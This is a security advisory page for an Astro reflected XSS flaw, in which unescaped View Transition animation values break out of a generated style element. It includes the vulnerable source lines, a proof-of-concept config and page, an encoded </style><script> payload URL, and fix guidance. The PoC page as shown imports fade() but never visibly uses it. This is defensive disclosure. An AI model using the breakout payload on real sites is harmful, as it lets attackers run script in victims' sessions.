CVE-2026-73422: Astro: Reflected XSS via unescaped View Transition animation properties
Summary Astro's server-side View Transition CSS generator interpolates animation properties into an inline element without escaping them for the CSS and HTML contexts. An attacker-controlled value passed to an animation property such as duration can contain a sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript.
Published Jul 20, 2026 · Updated Aug 12, 2026
Affected packages
astro
- Ecosystem
- npm
- Affected
- >= 2.9.0, <= 7.0.9
- Fixed in
- 7.1.0
- Check
npm ls astro
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Astro's server-side View Transition CSS generator interpolates animation properties into an inline <style> element without escaping them for the CSS and HTML contexts.
An attacker-controlled value passed to an animation property such as duration can contain a </style> sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript.
This is similar to GHSA-8hv8-536x-4wqp, but exploits a different injection point: unescaped View Transition animation values in a server-generated <style> element rather than an unescaped slot name in a hydration template.
Like GHSA-8hv8-536x-4wqp, exploitation requires an application to pass attacker-controlled data to an Astro API. However, the value is subsequently inserted into the HTML response without context-appropriate escaping by Astro.
Details
packages/astro/src/runtime/server/transition.ts
The generated stylesheet is wrapped in a <style> element and marked as HTML-safe:
const css = sheet.toString();
result._metadata.extraHead.push(markHTMLString(`<style>${css}</style>`));Animation properties are added to the stylesheet without escaping:
if (anim.duration) {
addAnimationProperty(builder, 'animation-duration', toTimeValue(anim.duration));
}For string values, toTimeValue() returns the input unchanged:
export function toTimeValue(num: number | string) {
return typeof num === 'number' ? num + 'ms' : num;
}As a result, a duration value containing </style> can escape from the generated style element.
Other TransitionAnimation properties, including easing, direction, delay, fillMode, and name, are serialized by the same animation builder. The following PoC only relies on the official fade() helper and its duration option.
PoC
Using:
[email protected]@astrojs/[email protected]
astro.config.mjs
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});src/pages/index.astro
---
import { fade } from 'astro:transitions';
const duration = Astro.url.searchParams.get('duration') ?? '300ms';
---
<html lang="en">
<head>
<meta charset="utf-8" />
<title>PoC</title>
</head>
<body>
Animated content
</body>
</html>Payload:
open:
http://localhost:4321/?duration=%3C%2Fstyle%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C!--The browser interprets </style> as the end of the generated style element and executes the injected script. An alert dialog is displayed when the page is opened.
Impact
An attacker who can control a View Transition animation value can execute arbitrary JavaScript in the origin of the affected Astro application.
The query-based reflected XSS scenario affects on-demand/server-rendered routes, such as:
- projects configured with
output: "server"; - pages using
export const prerender = false; - other server-side data flows that pass attacker-controlled values into a View Transition animation definition.
Successful exploitation may allow access to sensitive page data and authenticated actions available to the victim.
Suggested Fix
Animation values should be serialized using context-appropriate CSS escaping or validation before being added to the generated stylesheet.
Additionally, content inserted into a raw <style> element must not be able to contain an HTML end-tag sequence such as </style>. The final generated CSS should be made safe for the HTML raw-text context before it is passed to markHTMLString().
Credited to Ryoga-exe.
References
- https://github.com/withastro/astro/security/advisories/GHSA-4g3v-8h47-v7g6
- https://github.com/withastro/astro/pull/17393
- https://github.com/withastro/astro/commit/092da560eea77ee63a3e2c583c80d8238544e42b
- https://github.com/withastro/astro/releases/tag/[email protected]
- https://github.com/advisories/GHSA-4g3v-8h47-v7g6
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-126361
Astro: XSS via attribute injection in dynamic tag names
low2.3Nov 13, 2026CVE-2026-126364
Astro: Image endpoint in @astrojs/node can read files from a case-variant sibling of the output directory on case-sensitive filesystems
medium6.3No fixNov 13, 2026CVE-2026-114127
Astro: Arbitrary CSS injection in Astro View Transitions
low2.3Oct 22, 2026CVE-2026-114128
Astro: Reflected/Stored XSS via unescaped <script>/<style> tag content in JSX/MDX rendering
medium6.5Oct 22, 2026CVE-2026-84376
Astro: Authorization bypass from missing path-segment boundary check when stripping the configured base
medium6.3Sep 8, 2026GHSA-26w7-cxv4-gfx2
Astro: Remote code execution through AVIF image optimization
critical9.8Sep 8, 2026
